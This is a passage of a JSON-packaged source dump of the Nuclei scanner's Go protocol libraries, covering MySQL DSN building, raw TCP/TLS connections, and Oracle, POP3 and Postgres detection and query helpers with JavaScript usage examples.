ExecuteQueryOnDB(ctx context.Context, host string, port int, username, password, dbname, query string) (*utils.SQLResult, error) {\n\treturn c.ExecuteQueryWithOpts(ctx, MySQLOptions{\n\t\tHost:     host,\n\t\tPort:     port,\n\t\tProtocol: \"tcp\",\n\t\tUsername: username,\n\t\tPassword: password,\n\t\tDbName:   dbname,\n\t}, query)\n}\n\nfunc init() {\n\t_ = mysql.SetLogger(log.New(io.Discard, \"\", 0))\n}\n"
  },
  {
    "path": "pkg/js/libs/mysql/mysql_private.go",
    "content": "package mysql\n\nimport (\n\t\"context\"\n\t\"database/sql\"\n\t\"fmt\"\n\t\"net\"\n\t\"net/url\"\n\t\"strings\"\n)\n\ntype (\n\t// MySQLOptions defines the data source name (DSN) options required to connect to a MySQL database.\n\t// along with other options like Timeout etc\n\t// @example\n\t// ```javascript\n\t// const mysql = require('nuclei/mysql');\n\t// const options = new mysql.MySQLOptions();\n\t// options.Host = 'acme.com';\n\t// options.Port = 3306;\n\t// ```\n\tMySQLOptions struct {\n\t\tHost     string // Host is the host name or IP address of the MySQL server.\n\t\tPort     int    // Port is the port number on which the MySQL server is listening.\n\t\tProtocol string // Protocol is the protocol used to connect to the MySQL server (ex: \"tcp\").\n\t\tUsername string // Username is the user name used to authenticate with the MySQL server.\n\t\tPassword string // Password is the password used to authenticate with the MySQL server.\n\t\tDbName   string // DbName is the name of the database to connect to on the MySQL server.\n\t\tRawQuery string // QueryStr is the query string to append to the DSN (ex: \"?tls=skip-verify\").\n\t\tTimeout  int    // Timeout is the timeout in seconds for the connection to the MySQL server.\n\t}\n)\n\n// BuildDSN builds a MySQL data source name (DSN) from the given options.\n// @example\n// ```javascript\n// const mysql = require('nuclei/mysql');\n// const options = new mysql.MySQLOptions();\n// options.Host = 'acme.com';\n// options.Port = 3306;\n// const dsn = mysql.BuildDSN(options);\n// ```\nfunc BuildDSN(opts MySQLOptions) (string, error) {\n\tif opts.Host == \"\" || opts.Port <= 0 {\n\t\treturn \"\", fmt.Errorf(\"invalid host or port\")\n\t}\n\tif opts.Protocol == \"\" {\n\t\topts.Protocol = \"tcp\"\n\t}\n\t// We're going to use a custom dialer when creating MySQL connections, so if we've been\n\t// given \"tcp\" as the protocol, then quietly switch it to \"nucleitcp\", which we have\n\t// already registered.\n\tif opts.Protocol == \"tcp\" {\n\t\topts.Protocol = \"nucleitcp\"\n\t}\n\tif opts.DbName == \"\" {\n\t\topts.DbName = \"/\"\n\t} else {\n\t\topts.DbName = \"/\" + opts.DbName\n\t}\n\ttarget := net.JoinHostPort(opts.Host, fmt.Sprintf(\"%d\", opts.Port))\n\tvar dsn strings.Builder\n\tfmt.Fprintf(&dsn, \"%v:%v\", url.QueryEscape(opts.Username), opts.Password)\n\tdsn.WriteString(\"@\")\n\tfmt.Fprintf(&dsn, \"%v(%v)\", opts.Protocol, target)\n\tif opts.DbName != \"\" {\n\t\tdsn.WriteString(opts.DbName)\n\t}\n\tif opts.RawQuery != \"\" {\n\t\tdsn.WriteString(opts.RawQuery)\n\t}\n\treturn dsn.String(), nil\n}\n\n// @memo\nfunc connectWithDSN(executionId string, dsn string) (bool, error) {\n\tdb, err := sql.Open(\"mysql\", dsn)\n\tif err != nil {\n\t\treturn false, err\n\t}\n\tdefer func() {\n\t\t_ = db.Close()\n\t}()\n\tdb.SetMaxOpenConns(1)\n\tdb.SetMaxIdleConns(0)\n\n\tctx := context.WithValue(context.Background(), \"executionId\", executionId) // nolint: staticcheck\n\terr = db.PingContext(ctx)\n\tif err != nil {\n\t\treturn false, err\n\t}\n\treturn true, nil\n}\n"
  },
  {
    "path": "pkg/js/libs/net/net.go",
    "content": "package net\n\nimport (\n\t\"context\"\n\t\"crypto/tls\"\n\t\"encoding/hex\"\n\t\"fmt\"\n\t\"net\"\n\t\"time\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n\t\"github.com/projectdiscovery/utils/errkit\"\n\t\"github.com/projectdiscovery/utils/reader\"\n)\n\nvar (\n\tdefaultTimeout = time.Duration(5) * time.Second\n)\n\n// Open opens a new connection to the address with a timeout.\n// supported protocols: tcp, udp\n// @example\n// ```javascript\n// const net = require('nuclei/net');\n// const conn = net.Open('tcp', 'acme.com:80');\n// ```\nfunc Open(ctx context.Context, protocol, address string) (*NetConn, error) {\n\texecutionId := ctx.Value(\"executionId\").(string)\n\tdialer := protocolstate.GetDialersWithId(executionId)\n\tif dialer == nil {\n\t\treturn nil, fmt.Errorf(\"dialers not initialized for %s\", executionId)\n\t}\n\tconn, err := dialer.Fastdialer.Dial(ctx, protocol, address)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &NetConn{conn: conn, timeout: defaultTimeout}, nil\n}\n\n// Open opens a new connection to the address with a timeout.\n// supported protocols: tcp, udp\n// @example\n// ```javascript\n// const net = require('nuclei/net');\n// const conn = net.OpenTLS('tcp', 'acme.com:443');\n// ```\nfunc OpenTLS(ctx context.Context, protocol, address string) (*NetConn, error) {\n\tconfig := &tls.Config{InsecureSkipVerify: true, MinVersion: tls.VersionTLS10}\n\thost, _, _ := net.SplitHostPort(address)\n\tif host != \"\" {\n\t\tc := config.Clone()\n\t\tc.ServerName = host\n\t\tconfig = c\n\t}\n\texecutionId := ctx.Value(\"executionId\").(string)\n\tdialer := protocolstate.GetDialersWithId(executionId)\n\tif dialer == nil {\n\t\treturn nil, fmt.Errorf(\"dialers not initialized for %s\", executionId)\n\t}\n\n\tconn, err := dialer.Fastdialer.DialTLSWithConfig(ctx, protocol, address, config)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &NetConn{conn: conn, timeout: defaultTimeout}, nil\n}\n\ntype (\n\t// NetConn is a connection to a remote host.\n\t// this is returned/create by Open and OpenTLS functions.\n\t// @example\n\t// ```javascript\n\t// const net = require('nuclei/net');\n\t// const conn = net.Open('tcp', 'acme.com:80');\n\t// ```\n\tNetConn struct {\n\t\tconn    net.Conn\n\t\ttimeout time.Duration\n\t}\n)\n\n// Close closes the connection.\n// @example\n// ```javascript\n// const net = require('nuclei/net');\n// const conn = net.Open('tcp', 'acme.com:80');\n// conn.Close();\n// ```\nfunc (c *NetConn) Close() error {\n\terr := c.conn.Close()\n\treturn err\n}\n\n// SetTimeout sets read/write timeout for the connection (in seconds).\n// @example\n// ```javascript\n// const net = require('nuclei/net');\n// const conn = net.Open('tcp', 'acme.com:80');\n// conn.SetTimeout(10);\n// ```\nfunc (c *NetConn) SetTimeout(value int) {\n\tc.timeout = time.Duration(value) * time.Second\n}\n\n// setDeadLine sets read/write deadline for the connection (in seconds).\n// this is intended to be called before every read/write operation.\nfunc (c *NetConn) setDeadLine() {\n\tif c.timeout == 0 {\n\t\tc.timeout = 5 * time.Second\n\t}\n\t_ = c.conn.SetDeadline(time.Now().Add(c.timeout))\n}\n\n// unsetDeadLine unsets read/write deadline for the connection.\nfunc (c *NetConn) unsetDeadLine() {\n\t_ = c.conn.SetDeadline(time.Time{})\n}\n\n// SendArray sends array data to connection\n// @example\n// ```javascript\n// const net = require('nuclei/net');\n// const conn = net.Open('tcp', 'acme.com:80');\n// conn.SendArray(['hello', 'world']);\n// ```\nfunc (c *NetConn) SendArray(data []interface{}) error {\n\tc.setDeadLine()\n\tdefer c.unsetDeadLine()\n\tinput := types.ToByteSlice(data)\n\tlength, err := c.conn.Write(input)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif length < len(input) {\n\t\treturn fmt.Errorf(\"failed to write all bytes (%d bytes written, %d bytes expected)\", length, len(input))\n\t}\n\treturn nil\n}\n\n// SendHex sends hex data to connection\n// @example\n// ```javascript\n// const net = require('nuclei/net');\n// const conn = net.Open('tcp', 'acme.com:80');\n// conn.SendHex('68656c6c6f');\n// ```\nfunc (c *NetConn) SendHex(data string) error {\n\tc.setDeadLine()\n\tdefer c.unsetDeadLine()\n\tbin, err := hex.DecodeString(data)\n\tif err != nil {\n\t\treturn err\n\t}\n\tlength, err := c.conn.Write(bin)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif length < len(bin) {\n\t\treturn fmt.Errorf(\"failed to write all bytes (%d bytes written, %d bytes expected)\", length, len(bin))\n\t}\n\treturn nil\n}\n\n// Send sends data to the connection with a timeout.\n// @example\n// ```javascript\n// const net = require('nuclei/net');\n// const conn = net.Open('tcp', 'acme.com:80');\n// conn.Send('hello');\n// ```\nfunc (c *NetConn) Send(data string) error {\n\tc.setDeadLine()\n\tdefer c.unsetDeadLine()\n\tbin := []byte(data)\n\tlength, err := c.conn.Write(bin)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif length < len(bin) {\n\t\treturn fmt.Errorf(\"failed to write all bytes (%d bytes written, %d bytes expected)\", length, len(data))\n\t}\n\treturn nil\n}\n\n// RecvFull receives data from the connection with a timeout.\n// If N is 0, it will read all data sent by the server with 8MB limit.\n// it tries to read until N bytes or timeout is reached.\n// @example\n// ```javascript\n// const net = require('nuclei/net');\n// const conn = net.Open('tcp', 'acme.com:80');\n// const data = conn.RecvFull(1024);\n// ```\nfunc (c *NetConn) RecvFull(N int) ([]byte, error) {\n\tc.setDeadLine()\n\tdefer c.unsetDeadLine()\n\tif N == 0 {\n\t\t// in utils we use -1 to indicate read all rather than 0\n\t\tN = -1\n\t}\n\tbin, err := reader.ConnReadNWithTimeout(c.conn, int64(N), c.timeout)\n\tif err != nil {\n\t\treturn []byte{}, errkit.Wrapf(err, \"failed to read %d bytes\", N)\n\t}\n\treturn bin, nil\n}\n\n// Recv is similar to RecvFull but does not guarantee full read instead\n// it creates a buffer of N bytes and returns whatever is returned by the connection\n// for reading headers or initial bytes from the server this is usually used.\n// for reading a fixed number of already known bytes (ex: body based on content-length) use RecvFull.\n// @example\n// ```javascript\n// const net = require('nuclei/net');\n// const conn = net.Open('tcp', 'acme.com:80');\n// const data = conn.Recv(1024);\n// log(`Received ${data.length} bytes from the server`)\n// ```\nfunc (c *NetConn) Recv(N int) ([]byte, error) {\n\tc.setDeadLine()\n\tdefer c.unsetDeadLine()\n\tif N == 0 {\n\t\tN = 4096\n\t}\n\tb := make([]byte, N)\n\tn, err := c.conn.Read(b)\n\tif err != nil {\n\t\treturn []byte{}, errkit.Wrapf(err, \"failed to read %d bytes\", N)\n\t}\n\treturn b[:n], nil\n}\n\n// RecvFullString receives data from the connection with a timeout\n// output is returned as a string.\n// If N is 0, it will read all data sent by the server with 8MB limit.\n// @example\n// ```javascript\n// const net = require('nuclei/net');\n// const conn = net.Open('tcp', 'acme.com:80');\n// const data = conn.RecvFullString(1024);\n// ```\nfunc (c *NetConn) RecvFullString(N int) (string, error) {\n\tbin, err := c.RecvFull(N)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn string(bin), nil\n}\n\n// RecvString is similar to RecvFullString but does not guarantee full read, instead\n// it creates a buffer of N bytes and returns whatever is returned by the connection\n// for reading headers or initial bytes from the server this is usually used.\n// for reading a fixed number of already known bytes (ex: body based on content-length) use RecvFullString.\n// @example\n// ```javascript\n// const net = require('nuclei/net');\n// const conn = net.Open('tcp', 'acme.com:80');\n// const data = conn.RecvString(1024);\n// ```\nfunc (c *NetConn) RecvString(N int) (string, error) {\n\tbin, err := c.Recv(N)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn string(bin), nil\n}\n\n// RecvFullHex receives data from the connection with a timeout\n// in hex format.\n// If N is 0,it will read all data sent by the server with 8MB limit.\n// until N bytes or timeout is reached.\n// @example\n// ```javascript\n// const net = require('nuclei/net');\n// const conn = net.Open('tcp', 'acme.com:80');\n// const data = conn.RecvFullHex(1024);\n// ```\nfunc (c *NetConn) RecvFullHex(N int) (string, error) {\n\tbin, err := c.RecvFull(N)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn hex.Dump(bin), nil\n}\n\n// RecvHex is similar to RecvFullHex but does not guarantee full read instead\n// it creates a buffer of N bytes and returns whatever is returned by the connection\n// for reading headers or initial bytes from the server this is usually used.\n// for reading a fixed number of already known bytes (ex: body based on content-length) use RecvFull.\n// @example\n// ```javascript\n// const net = require('nuclei/net');\n// const conn = net.Open('tcp', 'acme.com:80');\n// const data = conn.RecvHex(1024);\n// ```\nfunc (c *NetConn) RecvHex(N int) (string, error) {\n\tbin, err := c.Recv(N)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn hex.Dump(bin), nil\n}\n"
  },
  {
    "path": "pkg/js/libs/oracle/memo.oracle.go",
    "content": "// Warning - This is generated code\npackage oracle\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate\"\n)\n\nfunc memoizedisOracle(executionId string, host string, port int) (IsOracleResponse, error) {\n\thash := \"isOracle\" + \":\" + fmt.Sprint(executionId) + \":\" + fmt.Sprint(host) + \":\" + fmt.Sprint(port)\n\n\tv, err, _ := protocolstate.Memoizer.Do(hash, func() (interface{}, error) {\n\t\treturn isOracle(executionId, host, port)\n\t})\n\tif err != nil {\n\t\treturn IsOracleResponse{}, err\n\t}\n\tif value, ok := v.(IsOracleResponse); ok {\n\t\treturn value, nil\n\t}\n\n\treturn IsOracleResponse{}, errors.New(\"could not convert cached result\")\n}\n"
  },
  {
    "path": "pkg/js/libs/oracle/oracle.go",
    "content": "package oracle\n\nimport (\n\t\"context\"\n\t\"database/sql\"\n\t\"fmt\"\n\t\"net\"\n\t\"strconv\"\n\t\"time\"\n\n\t\"github.com/praetorian-inc/fingerprintx/pkg/plugins\"\n\t\"github.com/praetorian-inc/fingerprintx/pkg/plugins/services/oracledb\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/js/utils\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate\"\n\tgoora \"github.com/sijms/go-ora/v2\"\n)\n\ntype (\n\t// IsOracleResponse is the response from the IsOracle function.\n\t// this is returned by IsOracle function.\n\t// @example\n\t// ```javascript\n\t// const oracle = require('nuclei/oracle');\n\t// const isOracle = oracle.IsOracle('acme.com', 1521);\n\t// ```\n\tIsOracleResponse struct {\n\t\tIsOracle bool\n\t\tBanner   string\n\t}\n\t// Client is a client for Oracle database.\n\t// Internally client uses oracle/godror driver.\n\t// @example\n\t// ```javascript\n\t// const oracle = require('nuclei/oracle');\n\t// const client = new oracle.OracleClient();\n\t// ```\n\tOracleClient struct {\n\t\tconnector *goora.OracleConnector\n\t}\n)\n\n// IsOracle checks if a host is running an Oracle server\n// @example\n// ```javascript\n// const oracle = require('nuclei/oracle');\n// const isOracle = oracle.IsOracle('acme.com', 1521);\n// log(toJSON(isOracle));\n// ```\nfunc (c *OracleClient) IsOracle(ctx context.Context, host string, port int) (IsOracleResponse, error) {\n\texecutionId := ctx.Value(\"executionId\").(string)\n\treturn memoizedisOracle(executionId, host, port)\n}\n\n// @memo\nfunc isOracle(executionId string, host string, port int) (IsOracleResponse, error) {\n\tresp := IsOracleResponse{}\n\n\tdialer := protocolstate.GetDialersWithId(executionId)\n\tif dialer == nil {\n\t\treturn IsOracleResponse{}, fmt.Errorf(\"dialers not initialized for %s\", executionId)\n\t}\n\n\ttimeout := 5 * time.Second\n\tconn, err := dialer.Fastdialer.Dial(context.TODO(), \"tcp\", net.JoinHostPort(host, strconv.Itoa(port)))\n\tif err != nil {\n\t\treturn resp, err\n\t}\n\tdefer func() {\n\t\t_ = conn.Close()\n\t}()\n\n\toracledbPlugin := oracledb.ORACLEPlugin{}\n\tservice, err := oracledbPlugin.Run(conn, timeout, plugins.Target{Host: host})\n\tif err != nil {\n\t\treturn resp, err\n\t}\n\tif service == nil {\n\t\treturn resp, nil\n\t}\n\tresp.Banner = service.Version\n\tresp.Banner = service.Metadata().(plugins.ServiceOracle).Info\n\tresp.IsOracle = true\n\treturn resp, nil\n}\n\nfunc (c *OracleClient) oracleDbInstance(connStr string, executionId string) (*goora.OracleConnector, error) {\n\tif c.connector != nil {\n\t\treturn c.connector, nil\n\t}\n\n\tconnector := goora.NewConnector(connStr)\n\toraConnector, ok := connector.(*goora.OracleConnector)\n\tif !ok {\n\t\treturn nil, fmt.Errorf(\"failed to cast connector to OracleConnector\")\n\t}\n\n\t// Create custom dialer wrapper\n\tcustomDialer := &oracleCustomDialer{\n\t\texecutionId: executionId,\n\t}\n\n\toraConnector.Dialer(customDialer)\n\n\tc.connector = oraConnector\n\n\treturn oraConnector, nil\n}\n\n// Connect connects to an Oracle database\n// @example\n// ```javascript\n// const oracle = require('nuclei/oracle');\n// const client = new oracle.OracleClient;\n// client.Connect('acme.com', 1521, 'XE', 'user', 'password');\n// ```\nfunc (c *OracleClient) Connect(ctx context.Context, host string, port int, serviceName string, username string, password string) (bool, error) {\n\tconnStr := goora.BuildUrl(host, port, serviceName, username, password, nil)\n\n\treturn c.ConnectWithDSN(ctx, connStr)\n}\n\nfunc (c *OracleClient) ConnectWithDSN(ctx context.Context, dsn string) (bool, error) {\n\texecutionId := ctx.Value(\"executionId\").(string)\n\n\tconnector, err := c.oracleDbInstance(dsn, executionId)\n\tif err != nil {\n\t\treturn false, err\n\t}\n\n\tdb := sql.OpenDB(connector)\n\tdefer func() {\n\t\t_ = db.Close()\n\t}()\n\n\tdb.SetMaxOpenConns(1)\n\tdb.SetMaxIdleConns(0)\n\n\t// Test the connection\n\terr = db.Ping()\n\tif err != nil {\n\t\treturn false, err\n\t}\n\n\treturn true, nil\n}\n\n// ExecuteQuery connects to MS SQL database using given credentials and executes a query.\n// It returns the results of the query or an error if something goes wrong.\n// @example\n// ```javascript\n// const oracle = require('nuclei/oracle');\n// const client = new oracle.OracleClient;\n// const result = client.ExecuteQuery('acme.com', 1521, 'username', 'password', 'XE', 'SELECT @@version');\n// log(to_json(result));\n// ```\nfunc (c *OracleClient) ExecuteQuery(ctx context.Context, host string, port int, username, password, dbName, query string) (*utils.SQLResult, error) {\n\tif host == \"\" || port <= 0 {\n\t\treturn nil, fmt.Errorf(\"invalid host or port\")\n\t}\n\n\tisOracleResp, err := c.IsOracle(ctx, host, port)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif !isOracleResp.IsOracle {\n\t\treturn nil, fmt.Errorf(\"not a oracle service\")\n\t}\n\n\tconnStr := goora.BuildUrl(host, port, dbName, username, password, nil)\n\n\treturn c.ExecuteQueryWithDSN(ctx, connStr, query)\n}\n\n// ExecuteQueryWithDSN executes a query on an Oracle database using a DSN\n// @example\n// ```javascript\n// const oracle = require('nuclei/oracle');\n// const client = new oracle.OracleClient;\n// const result = client.ExecuteQueryWithDSN('oracle://user:password@host:port/service', 'SELECT @@version');\n// log(to_json(result));\n// ```\nfunc (c *OracleClient) ExecuteQueryWithDSN(ctx context.Context, dsn string, query string) (*utils.SQLResult, error) {\n\texecutionId := ctx.Value(\"executionId\").(string)\n\n\tconnector, err := c.oracleDbInstance(dsn, executionId)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdb := sql.OpenDB(connector)\n\tdefer func() {\n\t\t_ = db.Close()\n\t}()\n\n\tdb.SetMaxOpenConns(1)\n\tdb.SetMaxIdleConns(0)\n\n\trows, err := db.Query(query)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tdata, err := utils.UnmarshalSQLRows(rows)\n\tif err != nil {\n\t\tif data != nil && len(data.Rows) > 0 {\n\t\t\treturn data, nil\n\t\t}\n\t\treturn nil, err\n\t}\n\treturn data, nil\n}\n"
  },
  {
    "path": "pkg/js/libs/oracle/oracledialer.go",
    "content": "package oracle\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"net\"\n\t\"time\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate\"\n)\n\n// oracleCustomDialer implements the dialer interface expected by go-ora\ntype oracleCustomDialer struct {\n\texecutionId string\n}\n\nfunc (o *oracleCustomDialer) dialWithCtx(ctx context.Context, network, address string) (net.Conn, error) {\n\tdialers := protocolstate.GetDialersWithId(o.executionId)\n\tif dialers == nil {\n\t\treturn nil, fmt.Errorf(\"dialers not initialized for %s\", o.executionId)\n\t}\n\tif !protocolstate.IsHostAllowed(o.executionId, address) {\n\t\t// host is not valid according to network policy\n\t\treturn nil, protocolstate.ErrHostDenied.Msgf(address)\n\t}\n\treturn dialers.Fastdialer.Dial(ctx, network, address)\n}\n\nfunc (o *oracleCustomDialer) Dial(network, address string) (net.Conn, error) {\n\treturn o.dialWithCtx(context.TODO(), network, address)\n}\n\nfunc (o *oracleCustomDialer) DialTimeout(network, address string, timeout time.Duration) (net.Conn, error) {\n\tctx, cancel := context.WithTimeout(context.Background(), timeout)\n\tdefer cancel()\n\n\treturn o.dialWithCtx(ctx, network, address)\n}\n\nfunc (o *oracleCustomDialer) DialContext(ctx context.Context, network, address string) (net.Conn, error) {\n\treturn o.dialWithCtx(ctx, network, address)\n}\n"
  },
  {
    "path": "pkg/js/libs/pop3/memo.pop3.go",
    "content": "// Warning - This is generated code\npackage pop3\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate\"\n)\n\nfunc memoizedisPoP3(executionId string, host string, port int) (IsPOP3Response, error) {\n\thash := \"isPoP3\" + \":\" + fmt.Sprint(executionId) + \":\" + fmt.Sprint(host) + \":\" + fmt.Sprint(port)\n\n\tv, err, _ := protocolstate.Memoizer.Do(hash, func() (interface{}, error) {\n\t\treturn isPoP3(executionId, host, port)\n\t})\n\tif err != nil {\n\t\treturn IsPOP3Response{}, err\n\t}\n\tif value, ok := v.(IsPOP3Response); ok {\n\t\treturn value, nil\n\t}\n\n\treturn IsPOP3Response{}, errors.New(\"could not convert cached result\")\n}\n"
  },
  {
    "path": "pkg/js/libs/pop3/pop3.go",
    "content": "package pop3\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"net\"\n\t\"strconv\"\n\t\"time\"\n\n\t\"github.com/praetorian-inc/fingerprintx/pkg/plugins\"\n\t\"github.com/praetorian-inc/fingerprintx/pkg/plugins/services/pop3\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate\"\n)\n\ntype (\n\t// IsPOP3Response is the response from the IsPOP3 function.\n\t// this is returned by IsPOP3 function.\n\t// @example\n\t// ```javascript\n\t// const pop3 = require('nuclei/pop3');\n\t// const isPOP3 = pop3.IsPOP3('acme.com', 110);\n\t// log(toJSON(isPOP3));\n\t// ```\n\tIsPOP3Response struct {\n\t\tIsPOP3 bool\n\t\tBanner string\n\t}\n)\n\n// IsPOP3 checks if a host is running a POP3 server.\n// @example\n// ```javascript\n// const pop3 = require('nuclei/pop3');\n// const isPOP3 = pop3.IsPOP3('acme.com', 110);\n// log(toJSON(isPOP3));\n// ```\nfunc IsPOP3(ctx context.Context, host string, port int) (IsPOP3Response, error) {\n\texecutionId := ctx.Value(\"executionId\").(string)\n\treturn memoizedisPoP3(executionId, host, port)\n}\n\n// @memo\nfunc isPoP3(executionId string, host string, port int) (IsPOP3Response, error) {\n\tresp := IsPOP3Response{}\n\n\tdialer := protocolstate.GetDialersWithId(executionId)\n\tif dialer == nil {\n\t\treturn IsPOP3Response{}, fmt.Errorf(\"dialers not initialized for %s\", executionId)\n\t}\n\n\ttimeout := 5 * time.Second\n\tconn, err := dialer.Fastdialer.Dial(context.TODO(), \"tcp\", net.JoinHostPort(host, strconv.Itoa(port)))\n\tif err != nil {\n\t\treturn resp, err\n\t}\n\tdefer func() {\n\t\t_ = conn.Close()\n\t}()\n\n\tpop3Plugin := pop3.POP3Plugin{}\n\tservice, err := pop3Plugin.Run(conn, timeout, plugins.Target{Host: host})\n\tif err != nil {\n\t\treturn resp, err\n\t}\n\tif service == nil {\n\t\treturn resp, nil\n\t}\n\tresp.Banner = service.Metadata().(plugins.ServicePOP3).Banner\n\tresp.IsPOP3 = true\n\treturn resp, nil\n}\n"
  },
  {
    "path": "pkg/js/libs/postgres/memo.postgres.go",
    "content": "// Warning - This is generated code\npackage postgres\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\n\tutils \"github.com/projectdiscovery/nuclei/v3/pkg/js/utils\"\n\n\t_ \"github.com/projectdiscovery/nuclei/v3/pkg/js/utils/pgwrap\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate\"\n)\n\nfunc memoizedisPostgres(executionId string, host string, port int) (bool, error) {\n\thash := \"isPostgres\" + \":\" + fmt.Sprint(executionId) + \":\" + fmt.Sprint(host) + \":\" + fmt.Sprint(port)\n\n\tv, err, _ := protocolstate.Memoizer.Do(hash, func() (interface{}, error) {\n\t\treturn isPostgres(executionId, host, port)\n\t})\n\tif err != nil {\n\t\treturn false, err\n\t}\n\tif value, ok := v.(bool); ok {\n\t\treturn value, nil\n\t}\n\n\treturn false, errors.New(\"could not convert cached result\")\n}\n\nfunc memoizedexecuteQuery(executionId string, host string, port int, username string, password string, dbName string, query string) (*utils.SQLResult, error) {\n\thash := \"executeQuery\" + \":\" + fmt.Sprint(executionId) + \":\" + fmt.Sprint(host) + \":\" + fmt.Sprint(port) + \":\" + fmt.Sprint(username) + \":\" + fmt.Sprint(password) + \":\" + fmt.Sprint(dbName) + \":\" + fmt.Sprint(query)\n\n\tv, err, _ := protocolstate.Memoizer.Do(hash, func() (interface{}, error) {\n\t\treturn executeQuery(executionId, host, port, username, password, dbName, query)\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif value, ok := v.(*utils.SQLResult); ok {\n\t\treturn value, nil\n\t}\n\n\treturn nil, errors.New(\"could not convert cached result\")\n}\n\nfunc memoizedconnect(executionId string, host string, port int, username string, password string, dbName string) (bool, error) {\n\thash := \"connect\" + \":\" + fmt.Sprint(executionId) + \":\" + fmt.Sprint(host) + \":\" + fmt.Sprint(port) + \":\" + fmt.Sprint(username) + \":\" + fmt.Sprint(password) + \":\" + fmt.Sprint(dbName)\n\n\tv, err, _ := protocolstate.Memoizer.Do(hash, func() (interface{}, error) {\n\t\treturn connect(executionId, host, port, username, password, dbName)\n\t})\n\tif err != nil {\n\t\treturn false, err\n\t}\n\tif value, ok := v.(bool); ok {\n\t\treturn value, nil\n\t}\n\n\treturn false, errors.New(\"could not convert cached result\")\n}\n"
  },
  {
    "path": "pkg/js/libs/postgres/postgres.go",
    "content": "package postgres\n\nimport (\n\t\"context\"\n\t\"database/sql\"\n\t\"fmt\"\n\t\"net\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/go-pg/pg/v10\"\n\t\"github.com/praetorian-inc/fingerprintx/pkg/plugins\"\n\tpostgres \"github.com/praetorian-inc/fingerprintx/pkg/plugins/services/postgresql\"\n\tutils \"github.com/projectdiscovery/nuclei/v3/pkg/js/utils\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/js/utils/pgwrap\"   //nolint:staticcheck // need to call init\n\t_ \"github.com/projectdiscovery/nuclei/v3/pkg/js/utils/pgwrap\" //nolint:staticcheck\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate\"\n)\n\ntype (\n\t// PGClient is a client for Postgres database.\n\t// Internally client uses go-pg/pg driver.\n\t// @example\n\t// ```javascript\n\t// const postgres = require('nuclei/postgres');\n\t// const client = new postgres.PGClient;\n\t// ```\n\tPGClient struct{}\n)\n\n// IsPostgres checks if the given host and port are running Postgres database.\n// If connection is successful, it returns true.\n// If connection is unsuccessful, it returns false and error.\n// @example\n// ```javascript\n// const postgres = require('nuclei/postgres');\n// const isPostgres = postgres.IsPostgres('acme.com', 5432);\n// ```\nfunc (c *PGClient) IsPostgres(ctx context.Context, host string, port int) (bool, error) {\n\texecutionId := ctx.Value(\"executionId\").(string)\n\t// todo: why this is exposed? Service fingerprint should be automatic\n\treturn memoizedisPostgres(executionId, host, port)\n}\n\n// @memo\nfunc isPostgres(executionId string, host string, port int) (bool, error) {\n\ttimeout := 10 * time.Second\n\n\tdialer := protocolstate.GetDialersWithId(executionId)\n\tif dialer == nil {\n\t\treturn false, fmt.Errorf(\"dialers not initialized for %s\", executionId)\n\t}\n\n\tconn, err := dialer.Fastdialer.Dial(context.TODO(), \"tcp\", fmt.Sprintf(\"%s:%d\", host, port))\n\tif err != nil {\n\t\treturn false, err\n\t}\n\tdefer func() {\n\t\t_ = conn.Close()\n\t}()\n\n\t_ = conn.SetDeadline(time.Now().Add(timeout))\n\n\tplugin := &postgres.POSTGRESPlugin{}\n\tservice, err := plugin.Run(conn, timeout, plugins.Target{Host: host})\n\tif err != nil {\n\t\treturn false, err\n\t}\n\tif service == nil {\n\t\treturn false, nil\n\t}\n\treturn true, nil\n}\n\n// Connect connects to Postgres database using given credentials.\n// If connection is successful, it returns true.\n// If connection is unsuccessful, it returns false and error.\n// The connection is closed after the function returns.\n// @example\n// ```javascript\n// const postgres = require('nuclei/postgres');\n// const client = new postgres.PGClient;\n// const connected = client.Connect('acme.com', 5432, 'username', 'password');\n// ```\nfunc (c *PGClient) Connect(ctx context.Context, host string, port int, username string, password string) (bool, error) {\n\tok, err := c.IsPostgres(ctx, host, port)\n\tif err != nil {\n\t\treturn false, err\n\t}\n\tif !ok {\n\t\treturn false, fmt.Errorf(\"not a postgres service\")\n\t}\n\texecutionId := ctx.Value(\"executionId\").(string)\n\treturn memoizedconnect(executionId, host, port, username, password, \"postgres\")\n}\n\n// ExecuteQuery connects to Postgres database using given credentials and database name.\n// and executes a query on the db.\n// If connection is successful, it returns the result of the query.\n// @example\n// ```javascript\n// const postgres = require('nuclei/postgres');\n// const client = new postgres.PGClient;\n// const result = client.ExecuteQuery('acme.com', 5432, 'username', 'password', 'dbname', 'select * from users');\n// log(to_json(result));\n// ```\nfunc (c *PGClient) ExecuteQuery(ctx context.Context, host string, port 